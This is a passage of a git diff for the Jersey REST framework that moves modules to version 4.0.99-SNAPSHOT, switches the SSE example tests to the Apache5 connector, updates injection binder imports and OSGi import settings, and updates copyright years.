--- a/examples/server-sent-events-jaxrs/pom.xml
+++ b/examples/server-sent-events-jaxrs/pom.xml
@@ -17,7 +17,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>server-sent-events-jaxrs</artifactId>
diff --git a/examples/server-sent-events-jaxrs/src/main/java/org/glassfish/jersey/examples/sse/jaxrs/JaxRsServerSentEventsResource.java b/examples/server-sent-events-jaxrs/src/main/java/org/glassfish/jersey/examples/sse/jaxrs/JaxRsServerSentEventsResource.java
index 78147ff..ea5e80d 100644
--- a/examples/server-sent-events-jaxrs/src/main/java/org/glassfish/jersey/examples/sse/jaxrs/JaxRsServerSentEventsResource.java
+++ b/examples/server-sent-events-jaxrs/src/main/java/org/glassfish/jersey/examples/sse/jaxrs/JaxRsServerSentEventsResource.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -77,7 +77,7 @@
                 domainSink.send(sse.newEventBuilder().name("domain-progress").data(String.class, "done").build());
                 domainSink.close();
 
-            } catch (final InterruptedException e) {
+            } catch (final /*InterruptedException | IO*/Exception e) {
                 e.printStackTrace();
             }
         }).start();
diff --git a/examples/server-sent-events-jersey/pom.xml b/examples/server-sent-events-jersey/pom.xml
index f980390..8f3fd6e 100644
--- a/examples/server-sent-events-jersey/pom.xml
+++ b/examples/server-sent-events-jersey/pom.xml
@@ -17,7 +17,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>server-sent-events-jersey</artifactId>
diff --git a/examples/servlet3-webapp/pom.xml b/examples/servlet3-webapp/pom.xml
index 96f742a..2e523a2 100644
--- a/examples/servlet3-webapp/pom.xml
+++ b/examples/servlet3-webapp/pom.xml
@@ -19,7 +19,7 @@
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>webapp-example-parent</artifactId>
         <relativePath>../webapp-example-parent/pom.xml</relativePath>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet3-webapp</artifactId>
@@ -112,15 +112,6 @@
 
     <profiles>
         <profile>
-            <id>jdk8_tests</id>
-            <activation>
-                <jdk>1.8</jdk>
-            </activation>
-            <properties>
-                <junit5.version>${junit5.jdk8.version}</junit5.version>
-            </properties>
-        </profile>
-        <profile>
             <id>pre-release</id>
             <build>
                 <plugins>
diff --git a/examples/simple-console/pom.xml b/examples/simple-console/pom.xml
index 7e4a23a..83d6a95 100644
--- a/examples/simple-console/pom.xml
+++ b/examples/simple-console/pom.xml
@@ -17,7 +17,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>simple-console</artifactId>
diff --git a/examples/sse-item-store-jaxrs-webapp/pom.xml b/examples/sse-item-store-jaxrs-webapp/pom.xml
index 06b292b..1948317 100644
--- a/examples/sse-item-store-jaxrs-webapp/pom.xml
+++ b/examples/sse-item-store-jaxrs-webapp/pom.xml
@@ -19,7 +19,7 @@
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>webapp-example-parent</artifactId>
         <relativePath>../webapp-example-parent/pom.xml</relativePath>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>sse-item-store-jaxrs-webapp</artifactId>
@@ -46,7 +46,7 @@
 
         <dependency>
             <groupId>org.glassfish.jersey.connectors</groupId>
-            <artifactId>jersey-apache-connector</artifactId>
+            <artifactId>jersey-apache5-connector</artifactId>
             <version>${project.version}</version>
             <scope>test</scope>
         </dependency>
diff --git a/examples/sse-item-store-jaxrs-webapp/src/test/java/org/glassfish/jersey/examples/sseitemstore/jaxrs/JaxrsItemStoreResourceTest.java b/examples/sse-item-store-jaxrs-webapp/src/test/java/org/glassfish/jersey/examples/sseitemstore/jaxrs/JaxrsItemStoreResourceTest.java
index f67cc65..3a17298 100644
--- a/examples/sse-item-store-jaxrs-webapp/src/test/java/org/glassfish/jersey/examples/sseitemstore/jaxrs/JaxrsItemStoreResourceTest.java
+++ b/examples/sse-item-store-jaxrs-webapp/src/test/java/org/glassfish/jersey/examples/sseitemstore/jaxrs/JaxrsItemStoreResourceTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -36,15 +36,15 @@
 import jakarta.ws.rs.core.UriBuilder;
 import jakarta.ws.rs.sse.SseEventSource;
 
-import org.glassfish.jersey.apache.connector.ApacheClientProperties;
-import org.glassfish.jersey.apache.connector.ApacheConnectorProvider;
+import org.glassfish.jersey.apache5.connector.Apache5ClientProperties;
+import org.glassfish.jersey.apache5.connector.Apache5ConnectorProvider;
 import org.glassfish.jersey.client.ClientConfig;
 import org.glassfish.jersey.client.ClientProperties;
 import org.glassfish.jersey.internal.guava.ThreadFactoryBuilder;
 import org.glassfish.jersey.test.JerseyTest;
 import org.glassfish.jersey.test.external.ExternalTestContainerFactory;
 
-import org.apache.http.impl.conn.PoolingHttpClientConnectionManager;
+import org.apache.hc.client5.http.impl.io.PoolingHttpClientConnectionManager;
 import org.junit.jupiter.api.AfterEach;
 import org.junit.jupiter.api.Test;
 
@@ -85,9 +85,9 @@
         cm.setMaxTotal(MAX_LISTENERS * MAX_ITEMS);
         cm.setDefaultMaxPerRoute(MAX_LISTENERS * MAX_ITEMS);
 
-        config.property(ApacheClientProperties.CONNECTION_MANAGER, cm)
+        config.property(Apache5ClientProperties.CONNECTION_MANAGER, cm)
                 .property(ClientProperties.READ_TIMEOUT, 2000)
-                .connectorProvider(new ApacheConnectorProvider());
+                .connectorProvider(new Apache5ConnectorProvider());
     }
 
     @Override
diff --git a/examples/sse-item-store-jersey-webapp/pom.xml b/examples/sse-item-store-jersey-webapp/pom.xml
index 34446b1..73119e1 100644
--- a/examples/sse-item-store-jersey-webapp/pom.xml
+++ b/examples/sse-item-store-jersey-webapp/pom.xml
@@ -19,7 +19,7 @@
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>webapp-example-parent</artifactId>
         <relativePath>../webapp-example-parent/pom.xml</relativePath>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>sse-item-store-jersey-webapp</artifactId>
@@ -46,7 +46,7 @@
 
         <dependency>
             <groupId>org.glassfish.jersey.connectors</groupId>
-            <artifactId>jersey-apache-connector</artifactId>
+            <artifactId>jersey-apache5-connector</artifactId>
             <version>${project.version}</version>
             <scope>test</scope>
         </dependency>
diff --git a/examples/sse-item-store-jersey-webapp/src/test/java/org/glassfish/jersey/examples/sseitemstore/jersey/JerseyItemStoreResourceTest.java b/examples/sse-item-store-jersey-webapp/src/test/java/org/glassfish/jersey/examples/sseitemstore/jersey/JerseyItemStoreResourceTest.java
index f29123a..c9ae9fb 100644
--- a/examples/sse-item-store-jersey-webapp/src/test/java/org/glassfish/jersey/examples/sseitemstore/jersey/JerseyItemStoreResourceTest.java
+++ b/examples/sse-item-store-jersey-webapp/src/test/java/org/glassfish/jersey/examples/sseitemstore/jersey/JerseyItemStoreResourceTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -30,8 +30,8 @@
 import jakarta.ws.rs.core.Response;
 import jakarta.ws.rs.core.UriBuilder;
 
-import org.glassfish.jersey.apache.connector.ApacheClientProperties;
-import org.glassfish.jersey.apache.connector.ApacheConnectorProvider;
+import org.glassfish.jersey.apache5.connector.Apache5ClientProperties;
+import org.glassfish.jersey.apache5.connector.Apache5ConnectorProvider;
 import org.glassfish.jersey.client.ClientConfig;
 import org.glassfish.jersey.client.ClientProperties;
 import org.glassfish.jersey.media.sse.EventSource;
@@ -39,7 +39,7 @@
 import org.glassfish.jersey.test.JerseyTest;
 import org.glassfish.jersey.test.external.ExternalTestContainerFactory;
 
-import org.apache.http.impl.conn.PoolingHttpClientConnectionManager;
+import org.apache.hc.client5.http.impl.io.PoolingHttpClientConnectionManager;
 import org.junit.jupiter.api.Test;
 
 import static org.hamcrest.CoreMatchers.containsString;
@@ -77,9 +77,9 @@
         cm.setDefaultMaxPerRoute(MAX_LISTENERS * MAX_ITEMS);
 
         config.register(SseFeature.class)
-                .property(ApacheClientProperties.CONNECTION_MANAGER, cm)
+                .property(Apache5ClientProperties.CONNECTION_MANAGER, cm)
                 .property(ClientProperties.READ_TIMEOUT, 2000)
-                .connectorProvider(new ApacheConnectorProvider());
+                .connectorProvider(new Apache5ConnectorProvider());
     }
 
     @Override
diff --git a/examples/sse-twitter-aggregator/pom.xml b/examples/sse-twitter-aggregator/pom.xml
index 24bd470..35cfe9f 100644
--- a/examples/sse-twitter-aggregator/pom.xml
+++ b/examples/sse-twitter-aggregator/pom.xml
@@ -17,7 +17,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>sse-twitter-aggregator</artifactId>
diff --git a/examples/system-properties-example/pom.xml b/examples/system-properties-example/pom.xml
index f46daf3..ddd34fc 100644
--- a/examples/system-properties-example/pom.xml
+++ b/examples/system-properties-example/pom.xml
@@ -17,7 +17,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>system-properties-example</artifactId>
diff --git a/examples/webapp-example-parent/pom.xml b/examples/webapp-example-parent/pom.xml
index 25c8282..2656c0f 100644
--- a/examples/webapp-example-parent/pom.xml
+++ b/examples/webapp-example-parent/pom.xml
@@ -18,7 +18,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>webapp-example-parent</artifactId>
diff --git a/examples/xml-moxy/pom.xml b/examples/xml-moxy/pom.xml
index 1beb712..ab71d0a 100644
--- a/examples/xml-moxy/pom.xml
+++ b/examples/xml-moxy/pom.xml
@@ -16,7 +16,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>xml-moxy</artifactId>
diff --git a/ext/bean-validation/pom.xml b/ext/bean-validation/pom.xml
index 39d32f2..76b0b2a 100644
--- a/ext/bean-validation/pom.xml
+++ b/ext/bean-validation/pom.xml
@@ -24,7 +24,7 @@
     <parent>
         <groupId>org.glassfish.jersey.ext</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-bean-validation</artifactId>
@@ -58,8 +58,13 @@
                         <Import-Package>
                             ${jakarta.annotation.osgi.version},
                             ${cdi.osgi.version},
+                            <!--
+                            Not working with xxx-M1
                             jakarta.validation.*;resolution:=optional;version="${range;[==,4);${jakarta.validation.api.version}}",
-                            jakarta.decorator.*;version="[3.0,5)",
+                            -->
+                            jakarta.validation.*;resolution:=optional;version="!",
+                            ${jakarta.decorator.osgi.version},
+                            ${jakarta.rest.osgi.version},
                             *
                         </Import-Package>
                     </instructions>
@@ -90,6 +95,24 @@
             <artifactId>jakarta.validation-api</artifactId>
         </dependency>
         <dependency>
+            <groupId>jakarta.xml.bind</groupId>
+            <artifactId>jakarta.xml.bind-api</artifactId>
+            <optional>true</optional>
+        </dependency>
+        <dependency>
+            <groupId>jakarta.enterprise</groupId>
+            <artifactId>jakarta.enterprise.cdi-api</artifactId>
+            <optional>true</optional>
+        </dependency>
+        <dependency>
+            <groupId>org.glassfish.jersey.ext.cdi</groupId>
+            <artifactId>jersey-cdi1x</artifactId>
+            <version>${project.version}</version>
+            <optional>true</optional>
+        </dependency>
+
+<!--              Runtime dependencies to be used       -->
+        <dependency>
             <groupId>org.hibernate.validator</groupId>
             <artifactId>hibernate-validator</artifactId>
             <exclusions>
@@ -112,24 +135,6 @@
             <artifactId>jboss-logging</artifactId>
             <version>${jboss.logging.version}</version>
         </dependency>
-        <dependency>
-            <groupId>jakarta.xml.bind</groupId>
-            <artifactId>jakarta.xml.bind-api</artifactId>
-            <optional>true</optional>
-        </dependency>
-        <dependency>
-            <groupId>jakarta.enterprise</groupId>
-            <artifactId>jakarta.enterprise.cdi-api</artifactId>
-            <optional>true</optional>
-        </dependency>
-        <dependency>
-            <groupId>org.glassfish.jersey.ext.cdi</groupId>
-            <artifactId>jersey-cdi1x</artifactId>
-            <version>${project.version}</version>
-            <optional>true</optional>
-        </dependency>
-
-
         <!-- java-el related dependencies are in scope "provided" in hibernate-validator -->
         <dependency>
             <groupId>jakarta.el</groupId>
diff --git a/ext/bean-validation/src/main/java/org/glassfish/jersey/server/validation/internal/ValidationBinder.java b/ext/bean-validation/src/main/java/org/glassfish/jersey/server/validation/internal/ValidationBinder.java
index 487786d..4c28742 100644
--- a/ext/bean-validation/src/main/java/org/glassfish/jersey/server/validation/internal/ValidationBinder.java
+++ b/ext/bean-validation/src/main/java/org/glassfish/jersey/server/validation/internal/ValidationBinder.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
  * Copyright (c) 2018, 2019 Payara Foundation and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
@@ -45,8 +45,8 @@
 import jakarta.validation.ValidatorFactory;
 import jakarta.validation.spi.ValidationProvider;
 
+import org.glassfish.jersey.innate.inject.InternalBinder;
 import org.glassfish.jersey.internal.ServiceFinder;
-import org.glassfish.jersey.internal.inject.AbstractBinder;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.internal.util.PropertiesHelper;
 import org.glassfish.jersey.internal.util.ReflectionHelper;
@@ -62,7 +62,7 @@
  *
  * @author Michal Gajdos
  */
-public final class ValidationBinder extends AbstractBinder {
+public final class ValidationBinder extends InternalBinder {
 
     private static final Logger LOGGER = Logger.getLogger(ValidationBinder.class.getName());
 
diff --git a/ext/cdi/jersey-cdi-rs-inject/pom.xml b/ext/cdi/jersey-cdi-rs-inject/pom.xml
index 27f41f3..88dfe38 100644
--- a/ext/cdi/jersey-cdi-rs-inject/pom.xml
+++ b/ext/cdi/jersey-cdi-rs-inject/pom.xml
@@ -21,7 +21,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.ext.cdi</groupId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
@@ -73,7 +73,9 @@
                     <instructions>
                         <Import-Package>
                             ${cdi.osgi.version},
+                            ${jakarta.decorator.osgi.version},
                             jakarta.servlet.*;version="[6.0, 7.0)";resolution:=optional,
+                            ${jakarta.rest.osgi.version},
                             *
                         </Import-Package>
                     </instructions>
diff --git a/ext/cdi/jersey-cdi1x-ban-custom-hk2-binding/pom.xml b/ext/cdi/jersey-cdi1x-ban-custom-hk2-binding/pom.xml
index f30ca0e..1a5e5ec 100644
--- a/ext/cdi/jersey-cdi1x-ban-custom-hk2-binding/pom.xml
+++ b/ext/cdi/jersey-cdi1x-ban-custom-hk2-binding/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.ext.cdi</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-cdi1x-ban-custom-hk2-binding</artifactId>
diff --git a/ext/cdi/jersey-cdi1x-servlet/pom.xml b/ext/cdi/jersey-cdi1x-servlet/pom.xml
index bb954cb..e8b455e 100644
--- a/ext/cdi/jersey-cdi1x-servlet/pom.xml
+++ b/ext/cdi/jersey-cdi1x-servlet/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.ext.cdi</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-cdi1x-servlet</artifactId>
@@ -88,7 +88,7 @@
                         <Export-Package>org.glassfish.jersey.ext.cdi1x.servlet.internal</Export-Package>
                         <Import-Package>
                             ${cdi.osgi.version},
-                            jakarta.decorator.*;version="[3.0,5)",
+                            ${jakarta.decorator.osgi.version},
                             *
                         </Import-Package>
                     </instructions>
diff --git a/ext/cdi/jersey-cdi1x-transaction/pom.xml b/ext/cdi/jersey-cdi1x-transaction/pom.xml
index 29b8354..2a1c269 100644
--- a/ext/cdi/jersey-cdi1x-transaction/pom.xml
+++ b/ext/cdi/jersey-cdi1x-transaction/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.ext.cdi</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-cdi1x-transaction</artifactId>
@@ -37,7 +37,7 @@
         <dependency>
             <groupId>jakarta.platform</groupId>
             <artifactId>jakarta.jakartaee-api</artifactId>
-            <version>9.1.0</version>
+            <version>10.0.0</version>
             <scope>provided</scope>
         </dependency>
 
@@ -94,7 +94,8 @@
                         <Import-Package>
                             ${jakarta.annotation.osgi.version},
                             ${cdi.osgi.version},
-                            jakarta.decorator.*;version="[3.0,5)",
+                            ${jakarta.decorator.osgi.version},
+                            ${jakarta.rest.osgi.version},
                             *
                         </Import-Package>
                     </instructions>
diff --git a/ext/cdi/jersey-cdi1x-transaction/src/main/java/org/glassfish/jersey/ext/cdi1x/transaction/internal/TransactionalExceptionInterceptorProvider.java b/ext/cdi/jersey-cdi1x-transaction/src/main/java/org/glassfish/jersey/ext/cdi1x/transaction/internal/TransactionalExceptionInterceptorProvider.java
index 1f950aa..3149887 100644
--- a/ext/cdi/jersey-cdi1x-transaction/src/main/java/org/glassfish/jersey/ext/cdi1x/transaction/internal/TransactionalExceptionInterceptorProvider.java
+++ b/ext/cdi/jersey-cdi1x-transaction/src/main/java/org/glassfish/jersey/ext/cdi1x/transaction/internal/TransactionalExceptionInterceptorProvider.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2014, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -41,8 +41,8 @@
 
 import org.glassfish.jersey.ext.cdi1x.internal.CdiUtil;
 import org.glassfish.jersey.ext.cdi1x.internal.GenericCdiBeanSupplier;
+import org.glassfish.jersey.innate.inject.Bindings;
 import org.glassfish.jersey.internal.inject.Binding;
-import org.glassfish.jersey.internal.inject.Bindings;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.server.spi.ComponentProvider;
 
diff --git a/ext/cdi/jersey-cdi1x-validation/pom.xml b/ext/cdi/jersey-cdi1x-validation/pom.xml
index 60a4bde..43cf48f 100644
--- a/ext/cdi/jersey-cdi1x-validation/pom.xml
+++ b/ext/cdi/jersey-cdi1x-validation/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.ext.cdi</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-cdi1x-validation</artifactId>
@@ -106,7 +106,7 @@
                         <Import-Package>
                             ${jakarta.annotation.osgi.version},
                             ${cdi.osgi.version},
-                            jakarta.decorator.*;version="[3.0,5)",
+                            ${jakarta.decorator.osgi.version},
                             *
                         </Import-Package>
                     </instructions>
diff --git a/ext/cdi/jersey-cdi1x/pom.xml b/ext/cdi/jersey-cdi1x/pom.xml
index f7e1be4..20b9fe3 100644
--- a/ext/cdi/jersey-cdi1x/pom.xml
+++ b/ext/cdi/jersey-cdi1x/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.ext.cdi</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-cdi1x</artifactId>
@@ -94,7 +94,8 @@
                             ${jakarta.annotation.osgi.version},
                             ${hk2.osgi.version},
                             ${cdi.osgi.version},
-                            jakarta.decorator.*;version="[3.0,5)",
+                            ${jakarta.decorator.osgi.version},
+                            ${jakarta.rest.osgi.version},
                             *
                         </Import-Package>
                     </instructions>
diff --git a/ext/cdi/jersey-cdi1x/src/main/java/org/glassfish/jersey/ext/cdi1x/internal/CdiComponentProvider.java b/ext/cdi/jersey-cdi1x/src/main/java/org/glassfish/jersey/ext/cdi1x/internal/CdiComponentProvider.java
index a47aced..4984a34 100644
--- a/ext/cdi/jersey-cdi1x/src/main/java/org/glassfish/jersey/ext/cdi1x/internal/CdiComponentProvider.java
+++ b/ext/cdi/jersey-cdi1x/src/main/java/org/glassfish/jersey/ext/cdi1x/internal/CdiComponentProvider.java
@@ -45,7 +45,6 @@
 import jakarta.inject.Singleton;
 import jakarta.ws.rs.core.Application;
 
-import jakarta.annotation.ManagedBean;
 import jakarta.enterprise.context.Dependent;
 import jakarta.enterprise.context.RequestScoped;
 import jakarta.enterprise.context.spi.CreationalContext;
@@ -71,15 +70,15 @@
 import org.glassfish.jersey.ext.cdi1x.internal.spi.InjectionManagerStore;
 import org.glassfish.jersey.ext.cdi1x.internal.spi.InjectionTargetListener;
 import org.glassfish.jersey.ext.cdi1x.spi.Hk2CustomBoundTypesProvider;
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.innate.inject.InternalBinder;
+import org.glassfish.jersey.innate.inject.Bindings;
+import org.glassfish.jersey.innate.inject.InstanceBinding;
+import org.glassfish.jersey.innate.inject.SupplierInstanceBinding;
 import org.glassfish.jersey.internal.inject.Binder;
-import org.glassfish.jersey.internal.inject.Bindings;
 import org.glassfish.jersey.internal.inject.CustomAnnotationLiteral;
 import org.glassfish.jersey.internal.inject.ForeignRequestScopeBridge;
 import org.glassfish.jersey.internal.inject.InjectionManager;
-import org.glassfish.jersey.internal.inject.InstanceBinding;
 import org.glassfish.jersey.internal.inject.Providers;
-import org.glassfish.jersey.internal.inject.SupplierInstanceBinding;
 import org.glassfish.jersey.internal.util.collection.Cache;
 import org.glassfish.jersey.model.ContractProvider;
 import org.glassfish.jersey.spi.ComponentProvider;
@@ -142,6 +141,8 @@
     private volatile Map<Class<?>, Set<Method>> methodsToSkip = new HashMap<>();
     private volatile Map<Class<?>, Set<Field>> fieldsToSkip = new HashMap<>();
 
+    private volatile boolean isHk2Environment;
+
     private boolean initialized = false;
 
     public CdiComponentProvider() {
@@ -154,6 +155,7 @@
     public void initialize(final InjectionManager injectionManager) {
         this.injectionManager = injectionManager;
         this.beanManager = CdiUtil.getBeanManager();
+        this.isHk2Environment = injectionManager.getClass().getPackageName().contains("hk2");
 
         if (beanManager != null && !injectionManager.getClass().getSimpleName().equals("NonInjectionManager")) {
             // Try to get CdiComponentProvider created by CDI.
@@ -165,7 +167,9 @@
                 this.fieldsToSkip = extension.getFieldsToSkip();
                 this.methodsToSkip = extension.getMethodsToSkip();
 
-                bindHk2ClassAnalyzer();
+                if (isHk2Environment) {
+                    bindHk2ClassAnalyzer();
+                }
 
                 LOGGER.config(LocalizationMessages.CDI_PROVIDER_INITIALIZED());
                 initialized = true;
@@ -175,11 +179,14 @@
 
     @Override
     public boolean bind(final Class<?> clazz, final Set<Class<?>> providerContracts) {
-        return initialized && bind(clazz, providerContracts, ContractProvider.NO_PRIORITY);
+        return isHk2Environment && initialized && bind(clazz, providerContracts, ContractProvider.NO_PRIORITY);
     }
 
     @Override
     public boolean bind(Class<?> component, ContractProvider contractProvider) {
+        if (!isHk2Environment) {
+            return false;
+        }
         return initialized && contractProvider != null
                 ? bind(component, contractProvider.getContracts(), contractProvider.getPriority(component))
                 : bind(component, Collections.EMPTY_SET);
@@ -203,10 +210,9 @@
         }
 
         final boolean isCdiManaged = isCdiComponent(clazz);
-        final boolean isManagedBean = isManagedBean(clazz);
         final boolean isJaxRsComponent = isJaxRsComponentType(clazz);
 
-        if (!isCdiManaged && !isManagedBean && !isJaxRsComponent) {
+        if (!isCdiManaged && !isJaxRsComponent) {
             return false;
         }
 
@@ -272,10 +278,6 @@
         return !beanManager.getBeans(component, qualifiers).isEmpty();
     }
 
-    private boolean isManagedBean(final Class<?> component) {
-        return component.isAnnotationPresent(ManagedBean.class);
-    }
-
     private AnnotatedConstructor<?> enrichedConstructor(final AnnotatedConstructor<?> ctor) {
         return new AnnotatedConstructor() {
 
@@ -633,7 +635,7 @@
         ClassAnalyzer customizedClassAnalyzer =
                 new InjecteeSkippingAnalyzer(defaultClassAnalyzer, methodsToSkip, fieldsToSkip, beanManager);
 
-        Binder binder = new AbstractBinder() {
+        Binder binder = new InternalBinder() {
             @Override
             protected void configure() {
                 bind(customizedClassAnalyzer)
diff --git a/ext/cdi/jersey-weld2-se/pom.xml b/ext/cdi/jersey-weld2-se/pom.xml
index c16ad86..0773531 100644
--- a/ext/cdi/jersey-weld2-se/pom.xml
+++ b/ext/cdi/jersey-weld2-se/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.ext.cdi</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-weld2-se</artifactId>
@@ -94,5 +94,24 @@
                 <directory>${project.build.directory}/legal</directory>
             </resource>
         </resources>
+
+        <plugins>
+            <plugin>
+                <groupId>org.apache.felix</groupId>
+                <artifactId>maven-bundle-plugin</artifactId>
+                <inherited>true</inherited>
+                <extensions>true</extensions>
+                <configuration>
+                    <instructions>
+                        <Import-Package>
+                            ${cdi.osgi.version},
+                            ${jakarta.decorator.osgi.version},
+                            ${jakarta.rest.osgi.version},
+                            *
+                        </Import-Package>
+                    </instructions>
+                </configuration>
+            </plugin>
+        </plugins>
      </build>
 </project>
diff --git a/ext/cdi/pom.xml b/ext/cdi/pom.xml
index b0d5b7f..de7756c 100644
--- a/ext/cdi/pom.xml
+++ b/ext/cdi/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.ext</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.ext.cdi</groupId>
diff --git a/ext/entity-filtering/pom.xml b/ext/entity-filtering/pom.xml
index 4b6f170..33f7711 100644
--- a/ext/entity-filtering/pom.xml
+++ b/ext/entity-filtering/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.ext</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-entity-filtering</artifactId>
@@ -80,7 +80,11 @@
                 <configuration>
                     <instructions>
                         <Export-Package>org.glassfish.jersey.message.filtering.*;version=${project.version}</Export-Package>
-                        <Import-Package>${jakarta.annotation.osgi.version},*</Import-Package>
+                        <Import-Package>
+                            ${jakarta.annotation.osgi.version},
+                            ${jakarta.rest.osgi.version},
+                            *
+                        </Import-Package>
                     </instructions>
                     <unpackBundle>true</unpackBundle>
                 </configuration>
diff --git a/ext/entity-filtering/src/main/java/org/glassfish/jersey/message/filtering/EntityFilteringBinder.java b/ext/entity-filtering/src/main/java/org/glassfish/jersey/message/filtering/EntityFilteringBinder.java
index aa28b30..24a5543 100644
--- a/ext/entity-filtering/src/main/java/org/glassfish/jersey/message/filtering/EntityFilteringBinder.java
+++ b/ext/entity-filtering/src/main/java/org/glassfish/jersey/message/filtering/EntityFilteringBinder.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -20,7 +20,7 @@
 
 import jakarta.inject.Singleton;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.innate.inject.InternalBinder;
 import org.glassfish.jersey.message.filtering.spi.EntityGraphProvider;
 import org.glassfish.jersey.message.filtering.spi.EntityInspector;
